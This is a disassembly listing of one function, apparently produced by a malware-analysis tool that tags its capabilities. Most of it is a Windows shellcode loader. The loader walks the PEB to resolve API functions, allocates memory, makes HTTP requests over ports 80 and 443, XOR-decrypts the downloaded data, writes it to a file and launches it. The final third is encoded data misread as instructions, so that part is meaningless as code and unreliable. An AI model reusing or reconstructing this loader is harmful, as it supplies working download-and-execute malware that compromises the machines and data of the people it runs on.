Function at 0x4013dd
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffff84
pop eax
add esp, eax
mov ebp, esp
call 0x4013e9
pop ebx
add esp, eax
xor bl, bl
and bh, 0xf0
add esp, eax
mov esi, ebx
lea edi, [ebp + 0x44]
push 6
pop ecx
xor eax, eax
lodsw ax, word [esi]
add eax, ebx
stosd dword es:[edi], eax
loop 0x4013fb
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov edi, dword [ecx + 0xc]
mov ecx, dword [edi + 8]
jecxz 0x40142e
mov ebx, dword [edi + 0x18]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebx + eax + 0x78]
jecxz 0x40142e
mov eax, dword [ebx + ecx + 0xc]
mov ecx, dword [ebx + eax + 4]
or cx, 0x2020
sub ecx, 0x32336c65
mov edi, dword [edi]
jne 0x401410
lea edi, [ebp - 0x8c]
xor eax, eax
lodsb al, byte [esi]
test al, al
js 0x40149b
je 0x4014a9
push eax
push esi
push edi
push ebx
mov edx, ebx
mov edi, dword [ebx + 0x3c]
add edi, edx
add ebx, dword [edi + 0x78]
mov ecx, dword [ebx + 0x18]
mov esi, dword [ebx + 0x20]
mov edi, dword [ebx + 0x24]
add esi, edx
add edi, edx
push ebp
mov ebp, dword [esp + 0xc]
lodsd eax, dword [esi]
add eax, edx
xchg esi, eax
xchg ebp, edi
push ecx
mov ecx, dword [esp + 0x14]
repe cmpsb byte [esi], byte es:[edi]
pop ecx
xchg esi, eax
xchg ebp, edi
je 0x401483
inc edi
inc edi
loop 0x401463
jmp 0x401a83
movzx eax, word [edi]
mov esi, dword [ebx + 0x1c]
lea esi, [esi + eax*4]
mov eax, dword [edx + esi]
add eax, edx
pop ebp
pop ebx
pop edi
stosd dword es:[edi], eax
pop esi
pop eax
add esi, eax
jmp 0x40143e
push esi
neg al
add esi, eax
call dword [ebp - 0x8c]
xchg ebx, eax
jmp 0x40143e
push 4
push 0x1000
push 0xa6ee60
push eax
call dword [ebp - 0x48]
test eax, eax
je 0x4014a9
mov dword [ebp + 0x30], eax
add eax, 0x1e8480
mov dword [ebp + 0x2c], eax
add eax, 0x7a1200
mov dword [ebp + 0x88], eax
mov edi, eax
mov esi, 0x1000
add eax, esi
mov dword [ebp + 0x84], eax
lea eax, [eax + esi*2]
mov dword [ebp - 0x1c], eax
lea eax, [eax + esi*2]
mov dword [ebp - 0x14], eax
push edi
push esi
call dword [ebp + 0x4c]
pop esi
pop edi
push esi
push edi
push 0
call dword [ebp - 0x6c]
xchg esi, eax
mov esi, dword [ebp + 0x84]
push esi
push eax
call dword [ebp - 0x68]
push 7
pop ecx
call dword [ebp + 0x50]
push eax
push esi
push 0
pop ecx
call dword [ebp + 0x50]
push eax
push esi
call dword [ebp - 0x40]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp - 0x84]
inc eax
je 0x4015b6
dec eax
mov dword [ebp + 0x80], eax
push 0
push eax
call dword [ebp - 0x70]
mov dword [ebp + 0x7c], eax
push eax
push edi
call dword [ebp - 0x54]
inc eax
add eax, eax
mov dword [ebp + 0x68], eax
pop esi
add esi, eax
mov edi, dword [ebp + 0x30]
mov dword [ebp + 0x78], edi
push 0
lea ecx, [ebp + 0x74]
push ecx
push dword [ebp + 0x7c]
push edi
push dword [ebp + 0x80]
call dword [ebp - 0x5c]
push dword [ebp + 0x84]
push dword [ebp + 0x88]
call dword [ebp - 0x50]
test eax, eax
je 0x40160c
push esi
mov ecx, dword [ebp + 0x68]
add edi, dword [ebp + 0x7c]
mov esi, dword [ebp + 0x88]
rep movsb byte es:[edi], byte [esi]
pop esi
push ecx
push 0x80
push 2
push ecx
push 2
push 0x40000000
push dword [ebp + 0x84]
call dword [ebp - 0x84]
test eax, eax
je 0x401607
mov dword [ebp + 0x70], eax
push 0
lea ecx, [ebp + 0x74]
push ecx
push esi
push dword [ebp + 0x78]
push eax
call dword [ebp - 0x58]
push dword [ebp + 0x80]
call dword [ebp - 0x88]
push dword [ebp + 0x70]
call dword [ebp - 0x88]
push dword [ebp + 0x88]
push 0x800
call dword [ebp - 0x68]
xor esi, esi
push esi
push dword [ebp + 0x88]
push esi
push dword [ebp + 0x84]
push 2
pop ecx
call dword [ebp + 0x50]
push eax
push esi
call dword [ebp - 0x3c]
jmp 0x401a83
movzx edx, word [edi + 0x3c]
add edx, edi
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
lea edx, [eax + edx + 4]
push 0x28
pop eax
dec ecx
add edx, eax
loop 0x401627
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
neg ecx
and eax, ecx
add eax, dword [edx + 0x14]
add edi, eax
push dword [ebp + 0x80]
call dword [ebp - 0x88]
mov esi, 0x12c
push edi
call dword [ebp - 0x80]
test eax, eax
jne 0x401661
push 1
push 0x3e8
call dword [ebp - 0x4c]
dec esi
jne 0x40164c
xor esi, esi
push esi
push esi
push esi
push 0
push 6
pop ecx
call dword [ebp + 0x50]
push eax
call dword [ebp - 0x38]
test eax, eax
je 0x401661
mov dword [ebp + 0x6c], eax
push 3
pop ecx
call dword [ebp + 0x50]
mov dword [ebp + 0x5c], eax
push 4
pop ecx
call dword [ebp + 0x50]
mov dword [ebp + 0x60], eax
mov eax, 0x3e80
mov dword [ebp - 0x18], eax
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp + 0x64], eax
mov dword [ebp + 0x40], eax
mov dword [ebp + 4], eax
mov dword [ebp + 0x3c], eax
mov dword [ebp + 0x1c], eax
dec eax
mov dword [ebp + 0x1c], eax
mov eax, dword [ebp + 0x1c]
inc eax
cmp eax, dword [ebp + 0xc]
jne 0x401700
mov edx, dword [ebp - 0xc]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x18]
cmp eax, 5
jbe 0x4016e5
inc esi
cmp eax, 0xa
jbe 0x4016e5
add ecx, 0x2710
mov dword [ebp - 0x18], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push 1
push ecx
call dword [ebp - 0x4c]
test esi, esi
jne 0x4016f6
mov ax, 0x2901
call dword [ebp + 0x58]
mov eax, dword [ebp + 4]
test eax, eax
je 0x401700
xor eax, eax
inc eax
mov dword [ebp + 0x1c], eax
call dword [ebp + 0x54]
cmp ah, 0xff
je 0x4016af
mov eax, dword [ebp + 0x40]
test eax, eax
je 0x40171a
push eax
call dword [ebp - 0x30]
and dword [ebp + 0x40], 0
mov ecx, dword [ebp + 0x3c]
jecxz 0x401727
push ecx
call dword [ebp - 0x30]
and dword [ebp + 0x3c], 0
lea esi, [ebp - 0x10]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp + 0x6c]
call dword [ebp - 0x2c]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp + 0x1c]
mov ecx, 0x1bb
test eax, eax
jne 0x401759
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x401783
inc eax
mov edx, dword [ebp - 0xc]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x401783
inc eax
mov dword [edx], eax
call dword [ebp - 0x64]
xor edx, edx
div dword [ebp + 0xc]
mov eax, edx
test eax, eax
jne 0x401780
inc eax
mov dword [ebp + 0x1c], eax
mov eax, dword [ebp + 0x1c]
call dword [ebp + 0x54]
mov cl, ah
call dword [ebp + 0x50]
push eax
push dword [ebp + 0x6c]
call dword [ebp - 0x34]
pop ecx
test eax, eax
loope 0x401741
mov dword [ebp + 0x40], eax
je 0x4016af
xchg edi, eax
lea esi, [ebp - 0x10]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp - 0x2c]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp + 0x1c]
mov ecx, 0x80803000
test eax, eax
jne 0x4017cf
mov ecx, 0x80000000
push ecx
lea eax, [ebp + 0x5c]
push eax
push esi
push esi
mov eax, dword [ebp + 0x1c]
mov ah, 1
call dword [ebp + 0x54]
mov cl, ah
call dword [ebp + 0x50]
push eax
push esi
push edi
call dword [ebp - 0x24]
pop ecx
test eax, eax
loope 0x4017bc
mov dword [ebp + 0x3c], eax
test eax, eax
je 0x40179d
xchg edi, eax
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x401812
lea esi, [ebp - 0x10]
mov eax, 0x100
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp + 0x3c]
call dword [ebp - 0x2c]
lea esi, [ebp - 0x10]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp + 0x3c]
call dword [ebp - 0x2c]
push 4
push esi
push 2
push dword [ebp + 0x3c]
call dword [ebp - 0x2c]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp - 0x20]
pop ecx
test eax, eax
loope 0x401837
je 0x40179d
mov eax, 0x3d0900
mov dword [ebp + 0x34], eax
xor eax, eax
mov dword [ebp + 0x74], eax
lea esi, [ebp + 0x74]
mov edi, dword [ebp + 0x30]
mov dword [ebp + 8], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp + 0x34]
push edi
push dword [ebp + 0x3c]
call dword [ebp - 0x28]
pop ecx
test eax, eax
je 0x40189b
mov eax, dword [esi]
test eax, eax
je 0x40189b
add edi, eax
sub dword [ebp + 0x34], eax
mov eax, dword [ebp + 0x34]
test eax, eax
je 0x40189b
dec ecx
jne 0x401866
mov ecx, dword [ebp + 0x1c]
mov ax, 0x2902
call dword [ebp + 0x58]
jmp 0x4016af
mov eax, edi
sub eax, dword [ebp + 0x30]
cmp eax, 0x249f0
ja 0x4018ff
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
jne 0x40188c
mov ecx, eax
mov edi, dword [ebp - 0x1c]
mov eax, dword [edi]
test eax, eax
jne 0x40188c
push 0x2e
mov esi, dword [ebp + 0x30]
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x4018ce
cmp al, 0x39
ja 0x4018ce
add eax, 0x14
stosb byte es:[edi], al
loop 0x4018bf
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp - 0x64]
and eax, 3
add eax, dword [ebp - 8]
push eax
mov cl, 8
call dword [ebp + 0x50]
push eax
push dword [ebp + 0x6c]
call dword [ebp - 0x34]
mov dword [ebp + 4], eax
pop eax
mov ecx, eax
call dword [ebp + 0x58]
jmp 0x4016af
mov dword [ebp + 0x34], eax
mov eax, 0x5b8d80
mov dword [ebp + 0x28], eax
mov eax, dword [ebp + 0x1c]
mov ah, 2
call dword [ebp + 0x54]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp + 0x18]
add eax, ecx
mov edi, dword [eax]
xor eax, eax
mov al, 4
mov edx, eax
mov ecx, dword [ebp + 0x34]
shr ecx, 2
dec ecx
mov esi, dword [ebp + 0x30]
add esi, edx
push edi
push esi
lodsd eax, dword [esi]
xor eax, edi
pop edi
stosd dword es:[edi], eax
mov esi, edi
pop edi
dec edi
dec ecx
jne 0x401930
xor ecx, ecx
mov cl, 4
lea eax, [ebp + 0x80]
push eax
mov eax, dword [ebp + 0x34]
sub eax, ecx
push eax
mov esi, dword [ebp + 0x30]
add esi, ecx
push esi
mov eax, dword [ebp + 0x28]
push eax
mov edi, dword [ebp + 0x2c]
mov dword [ebp + 8], edi
push edi
push 0x102
call dword [ebp - 0x44]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x4019a5
mov eax, dword [ebp + 0x1c]
mov ecx, eax
mov edx, dword [ebp - 0xc]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x401a83
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp + 0x58]
push 1
push 0x7d0
call dword [ebp - 0x4c]
jmp 0x4016af
mov eax, dword [ebp + 0x80]
mov dword [ebp + 0x74], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp + 0x1c]
mov ah, 4
call dword [ebp + 0x54]
mov cl, ah
call dword [ebp + 0x50]
push eax
call dword [ebp - 0x84]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp + 0x38]
push eax
push dword [ebp + 0x74]
push dword [ebp + 8]
push edi
call dword [ebp - 0x58]
push edi
call dword [ebp - 0x88]
mov esi, dword [ebp + 0x88]
push esi
push ecx
call dword [ebp - 0x74]
mov eax, dword [ebp + 0x1c]
mov ah, 4
call dword [ebp + 0x54]
mov cl, ah
call dword [ebp + 0x50]
push eax
push esi
mov ecx, 1
call dword [ebp + 0x50]
push eax
push esi
call dword [ebp - 0x40]
add esp, 0x18
xor edi, edi
push edi
push edi
push edi
push esi
push 2
pop ecx
call dword [ebp + 0x50]
push eax
push edi
call dword [ebp - 0x3c]
xchg ecx, eax
mov eax, 0x2905
call dword [ebp + 0x58]
mov eax, dword [ebp + 0x1c]
call dword [ebp + 0x54]
mov ecx, eax
push ecx
mov eax, dword [ebp + 0x1c]
mov ah, 3
call dword [ebp + 0x54]
mov cl, ah
mov eax, 0x3e8
mul ecx
push 1
push eax
call dword [ebp - 0x4c]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebx]
cmp al, dl
jne 0x401a6e
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x401a74
inc esi
add ebx, 8
dec ecx
jne 0x401a60
pop ebx
cmp esi, ecx
jne 0x4016af
push 0
call dword [ebp - 0x7c]
je 0x401abd
pushal
pushal
add byte [esi], dh
pushal
dec edi
pushal
add byte [ebx + 0x76], bh
jge 0x401a9a
jbe 0x401b08
cmp al, 0x39
add byte [edx + 0x63], dh
arpl word [edi + 0x7a], di
jo 0x401b1a
jp 0x401b27
jge 0x401ae9
cmp dword [eax], eax
push esp
push esi
inc edi
add byte [esi + 0x7c], bl
imul edi, dword [edx + 0x7f], 0x263c727f
cmp eax, 0x443b3323
jp 0x401b40
and esi, dword [ebx]
cmp eax, dword [edx + edi*2 + 0x7d]
ja 0x401b41
pushal
xor ebx, dword [ebp + 0x47]
xor esp, dword [0x333a223d]
push edx
arpl word [ebx + 0x7f], sp
jbe 0x401b1a
jbe 0x401b49
pop eax
jp 0x401b42
cmp al, 0x26
and byte [ebx], ch
cmp eax, 0x3b332420
pop eax
pop ebx
inc edi
pop esi
pop edi
aas
xor edi, dword [edi + 0x7a]
js 0x401b65
xor edx, dword [esi + esi*2 + 0x70]
js 0x401b71
cmp dh, byte [ebx]
push eax
jnp 0x401b5b
jl 0x401b7a
jbe 0x401b3a
daa
daa
cmp eax, 0x27213d23
and al, 0x3d
sub esp, dword [ecx]
xor eax, dword [eax + 0x72]
jne 0x401b81
popal
jp 0x401b4e
and byte es:[ebx], ch
cmp eax, 0x78002420
jl 0x401b92
js 0x401b84
js 0x401b8a
cmp eax, 0x766b76
and ch, byte [ebx]
sub edi, dword [0x3d232122]
and ch, byte [edx]
daa
cmp eax, 0x222322
bound edi, qword [edx + 0x78]
jbe 0x401baa
jb 0x401ba7
jp 0x401b9e
pushal
cmp eax, 0x766b76
jbe 0x401bad
imul esi, dword [esi], 0x7a
jo 0x401bb9
jbe 0x401b44
jp 0x401bb6
jb 0x401bc5
jge 0x401bc4
jnp 0x401bbc
jb 0x401bb4
imul edi, dword [edx + 0x63], 0x7e7c703d
add byte [eax + eax], bh
jp 0x401bb0
cmp eax, 0x7e7c70
jo 0x401bcc
jle 0x401b52
cmp al, 0
and ah, byte [eax]
cmp eax, 0x3d2b2721
and dword [edx], ebp
cmp eax, 0x3c002027
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401bcf
cmp eax, 0x273d2a21
and byte [eax], al
cmp al, 0x69
jp 0x401bc9
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
add byte [edx], ah
and ebp, dword [edx]
cmp eax, 0x213d252b
and ah, byte [ebx]
sub bh, byte [0x213d252b]
sub esp, dword [0x2521213d]
cmp eax, 0x3c00262b
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401be8
and dword [0x262b3d], esp
cmp al, 0x69
add byte [ecx + ebp*2], bh
jp 0x401be2
and ah, byte [edx]
cmp eax, 0x637a69
arpl word [eax], ax
add byte [ecx], ah
daa
and dword [edi], esp
cmp eax, 0x3d232121
sub ah, byte [ecx]
cmp eax, 0x202a22
and dword [ebx], esp
cmp eax, 0x223d212a
sub ah, byte [eax]
add byte [ecx + ebp*2], bh
and byte [eax], al
cmp al, 0x69
jp 0x401bfb
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [0x3d25203d]
and dword [esi], esp
and bh, byte [0x2b2321]
add byte [edx], ah
and al, 0x25
cmp eax, 0x213d2520
and bh, byte es:[0x2b2321]
and dword [ebx], esp
sub eax, dword [eax]
add byte [ecx + ebp*2], bh
cmp al, 0x69
jp 0x401c15
and ah, byte [edx]
cmp eax, 0x637a69
jp 0x401c1b
add byte [edx], ah
sub ebp, dword [ebx]
and ch, byte [ebx]
sub edi, dword [0x3d262621]
cmp eax, 0x3d262621
and ah, byte [0x26223d26]
cmp eax, 0x272622
and ah, byte [esi]
daa
add byte [ecx + ebp*2], bh
cmp al, 0x69
jp 0x401c30
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [eax]
cmp eax, 0x3d252221
and dword [edi], esp
and edi, dword [0x3c002526]
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401c50
add byte [ecx + ebp*2], bh
jp 0x401c4a
and ah, byte [edx]
cmp eax, 0x637a69
and bh, byte [0x637a69]
add byte [0x2a223d2b], ah
and eax, 0x2a223d2b
and edi, dword [0x3d252721]
and ah, byte [edi]
and dword [eax], eax
cmp al, 0x69
jp 0x401c64
and ah, byte [edx]
cmp eax, 0x637a69
and ch, byte [ebx]
sub edi, dword [0x3d262621]
and ah, byte [0x24223d2a]
and eax, 0x7a693c00
and al, 0x25
add byte [ecx + ebp*2], bh
jp 0x401c7f
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x26
cmp eax, 0x3d242022
and ah, byte [edx]
and dword [0x3c00222b], edi
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401c9e
add byte [ecx + ebp*2], bh
jp 0x401c98
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x25223d2a
add byte [0x25223d2a], ah
and byte [0x213d222b], bh
and ah, byte [edx]
add byte [ecx + ebp*2], bh
cmp al, 0x69
jp 0x401cb1
and ah, byte [edx]
cmp eax, 0x637a69
and dword [edx], esp
and eax, 0x2726213d
cmp eax, 0x3d222021
and ah, byte [edx]
add byte [ecx + ebp*2], bh
cmp al, 0x69
jp 0x401ccb
and ah, byte [edx]
cmp eax, 0x637a69
and dword [edi], esp
cmp eax, 0x223d2020
and byte [edx], ah
cmp eax, 0x252222
cmp al, 0x69
jp 0x401ce4
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x22223d2b
sub bh, byte [0x21203d26]
add byte [ecx + ebp*2], bh
jp 0x401cfb
and ah, byte [edx]
cmp eax, 0x637a69
sub ah, byte [edi + 0x223d212a]
and dword [esi], esp
cmp eax, 0x3c002724
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401d19
add byte [edx], ch
and al, 0x3d
sub ah, byte [ecx]
cmp eax, 0x3d262122
and al, 0x27
add byte [ecx + ebp*2], bh
jp 0x401d13
and ah, byte [edx]
cmp eax, 0x637a69
and bh, byte [0x637a69]
add byte [edx], ch
sub edi, dword [0x3d272321]
sub ch, byte [ebx]
cmp eax, 0x3d272321
and dword [edx], esp
cmp eax, 0x3c00212a
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401d32
cmp eax, 0x637a69
and al, 0x21
add byte [ecx], ah
cmp eax, 0x3d232021
sub esp, dword [ecx]
cmp eax, 0x3c00232b
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401d4a
imul edi, dword [edx + 0x63], 0x2b232100
add byte [ecx], ah
and ebp, dword [ebx]
cmp eax, 0x3d202122
and ah, byte [eax]
and edi, dword [0x202422]
cmp al, 0x69
jp 0x401d5f
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [ebx + ebp]
cmp eax, 0x3d272221
and dword [ecx], esp
and bh, byte [0x3c002a2b]
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401d7f
imul edi, dword [edx + 0x63], 0x20242200
add byte [edx], ah
and al, 0x20
cmp eax, 0x3d2b2721
and dword [ecx], esp
cmp eax, 0x242121
cmp al, 0x69
jp 0x401d93
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [eax]
cmp eax, 0x3d2b2721
and byte [edx], ah
cmp eax, 0x693c0022
jp 0x401dab
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [eax]
cmp eax, 0x3d2b2721
and byte [edx], ah
cmp eax, 0x693c0025
jp 0x401dc3
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [eax]
cmp eax, 0x3d2b2721
and dword [edi + 0x202522], esp
cmp al, 0x69
jp 0x401ddd
and ah, byte [edx]
cmp eax, 0x637a69
arpl word [eax], ax
and ah, byte [eax]
cmp eax, 0x3d202721
and dword [esi], esp
cmp eax, 0x3c002a24
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401dfd
arpl word [edx], sp
and bh, byte [0x637a69]
and eax, 0x3d2a3d2a
add byte [0x3d2a3d2a], ah
and dword [ebx], esp
daa
cmp eax, 0x272222
cmp al, 0x69
jp 0x401e0f
arpl word [edx], sp
and bh, byte [0x637a69]
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x20
cmp eax, 0x3d262422
and dword [ebx], esp
and byte [0x202422], bh
cmp al, 0x69
jp 0x401e29
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401e2f
and ah, byte [edx]
cmp eax, 0x637a69
and ch, byte [ebx]
sub edi, dword [0x3d262621]
add byte [edx], ah
sub ebp, dword [ebx]
cmp eax, 0x3d262621
and dword [eax], esp
sub bh, byte [0x3c002720]
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401e49
add byte [esi], ah
cmp eax, 0x3d212022
and ah, byte [eax]
cmp eax, 0x3c002421
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401e62
add byte [0x3d2b213d], ah
sub ah, byte [ecx]
cmp eax, 0x693c0027
jp 0x401e72
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x22
cmp eax, 0x3d272a22
and byte [0x20243d], ah
cmp al, 0x69
jp 0x401e8a
and ah, byte [edx]
cmp eax, 0x637a69
sub ch, byte [ebx]
cmp eax, 0x3d212121
sub edi, dword [0x3d212121]
and eax, 0x2b223d27
daa
add byte [ecx + ebp*2], bh
jp 0x401ea3
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x27223d2a
daa
cmp eax, 0x3d222422
daa
daa
add byte [ecx + ebp*2], bh
jp 0x401ebc
cmp eax, 0x3d272722
and ah, byte [edx]
cmp eax, 0x3c002727
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401ec2
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x20203d26
add byte [0x20203d26], ah
cmp eax, 0x213d2020
and byte [0x2024223d], ah
cmp eax, 0x3d252021
and ah, byte [eax]
add byte [ecx + ebp*2], bh
jp 0x401ed5
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x21213d25
and al, 0x3d
and dword [ecx], esp
and byte [0x2a2221], bh
cmp al, 0x69
jp 0x401eef
and ah, byte [edx]
cmp eax, 0x637a69
sub ah, byte [0x3d24203d]
and dword [ebx], esp
daa
cmp eax, 0x3c002122
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401f0d
arpl word [edx], sp
and bh, byte [0x637a69]
and eax, 0x2a223d25
add byte [0x2a223d25], ah
and eax, 0x3d20253d
and byte [eax], ah
add byte [ecx + ebp*2], bh
jp 0x401f1f
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x22
add byte [edx], ah
cmp eax, 0x223d2a2a
and byte [ebx], ah
cmp eax, 0x3c002721
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401f3d
and bh, byte [0x637a69]
and dword [edx], esp
and eax, 0x3d25223d
add byte [ecx], ah
and ah, byte [0x3d25223d]
sub ah, byte [eax]
cmp eax, 0x232621
cmp al, 0x69
jp 0x401f50
and ah, byte [edx]
cmp eax, 0x637a69
and dword [edi], esp
cmp eax, 0x213d2a22
cmp eax, 0x3c002327
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401f6d
add byte [edx], ch
sub edi, dword [0x3d252721]
cmp eax, 0x3d252721
and dword [edx], esp
and edi, dword [0x3c002421]
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x401f86
cmp eax, 0x637a69
and eax, 0x2a223d25
add byte [0x2a223d25], ah
and eax, 0x3d22253d
and dword [edx], esp
sub eax, dword [eax]
cmp al, 0x69
jp 0x401f99
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x2b223d2a
and edi, dword [0x3d2b2122]
and al, 0x22
add byte [ecx + ebp*2], bh
jp 0x401fb2
and ah, byte [edx]
cmp eax, 0x637a69
and bh, byte [0x637a69]
sub ch, byte [ebx]
cmp eax, 0x3d272221
and ah, byte [edx]
cmp eax, 0x202621
cmp al, 0x69
jp 0x401fcb
and ah, byte [edx]
cmp eax, 0x637a69
arpl word [eax], ax
and dword [edi], esp
cmp eax, 0x3d2b2722
and dword [edx], esp
and al, 0x3d
and ch, byte [ebx]
sub eax, dword [eax]
cmp al, 0x69
jp 0x401fe5
and ah, byte [edx]
cmp eax, 0x637a69
sub ch, byte [ebx]
cmp eax, 0x3d2a2321
jp 0x401feb
add byte [edx], ch
sub edi, dword [0x3d2a2321]
and al, 0x26
cmp eax, 0x272522
cmp al, 0x69
jp 0x401ffe
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x25
cmp eax, 0x3d262322
and dword [edi], esp
sub edi, dword [0x242022]
cmp al, 0x69
jp 0x402018
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x40201e
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x20213d24
add byte [0x20213d24], ah
sub bh, byte [0x3d232221]
and ah, byte [eax]
and al, byte [eax]
cmp al, 0x69
jp 0x402032
and ah, byte [edx]
cmp eax, 0x637a69
and ah, byte [eax]
cmp eax, 0x3d252221
and dword [edi], esp
and al, 0x3d
and al, 0x27
add byte [ecx + ebp*2], bh
cmp al, 0x69
jp 0x40204c
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x22223d27
and bh, byte [0x203d2520]
add byte es:[ecx + ebp*2], bh
jp 0x402064
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x40206a
and ah, byte [edx]
cmp eax, 0x637a69
and eax, 0x3d2a3d2a
add byte [0x3d2a3d2a], ah
and dword [ebx], esp
daa
cmp eax, 0x3c002522
imul edi, dword [edx + 0x63], 0x693d2222
jp 0x402081
and ah, byte [edx]
cmp eax, 0x637a69
and al, 0x24
add byte [esp], ah
cmp eax, 0x203d2b27
and edi, dword [0x252622]
cmp al, 0x69
jp 0x402093
and ah, byte [edx]
cmp eax, 0x637a69
dec ecx
jp 0x40209d
and ah, byte [edx]
add byte [ecx], al
add dword [edi + 0x3355c283], eax
jo 0x402050
or eax, dword [eax]
add byte [ecx], cl
jo 0x402058
or eax, 0x70090000
push cs
jo 0x402060
sldt word [eax]
or dword [eax + 0x10], esi
adc dword [eax], eax
add byte [ecx], cl
jo 0x402070
adc eax, dword [eax]
add byte [ecx], cl
jo 0x402078
adc eax, 0x70090000
push ss
pop ss
add byte [eax], al
or dword [eax + 0x18], esi
sbb dword [eax], eax
add byte [ecx], cl
jo 0x402090
sbb eax, dword [eax]
add byte [ecx], cl
jo 0x402098
sbb eax, 0x70090000
push ds
pop ds
add byte [eax], al
or dword [eax + 0x20], esi
and dword [eax], eax
add byte [ecx], cl
jo 0x4020b0
and eax, dword [eax]
add byte [ecx], cl
jo 0x4020b8
and al, 0x25
add byte [eax], al
or dword [eax + 0x26], esi
and eax, 0x70090000
daa
jo 0x4020c0
daa
add byte [eax], al
or dword [eax + 0x28], esi
sub dword [eax], eax
add byte [ecx], cl
jo 0x4020d0
sub eax, dword [eax]
add byte [ecx], cl
jo 0x4020d8
sub eax, 0x70090000
das
jo 0x4020e0
das
add byte [eax], al
or dword [eax + 0x30], esi
xor dword [eax], eax
add byte [ecx], cl
jo 0x4020f0
xor eax, dword [eax]
add byte [ecx], cl
jo 0x4020f8
xor eax, 0x70090000
aaa
add byte [eax], al
or dword [eax + 0x38], esi
cmp dword [eax], eax
add byte [ecx], cl
jo 0x402110
cmp eax, dword [eax]
add byte [ecx], cl
jo 0x402118
cmp eax, 0x70090000
aas
jo 0x402120
aas
add byte [eax], al
or dword [eax + 0x40], esi
inc ecx
add byte [eax], al
or dword [eax + 0x42], esi
inc ebx
add byte [eax], al
or dword [eax + 0x44], esi
add byte [ecx], cl
jo 0x402138
inc ebp
add byte [eax], al
or dword [eax + 0x46], esi
jo 0x402140
inc edi
add byte [eax], al
or dword [eax + 0x48], esi
dec ecx
add byte [eax], al
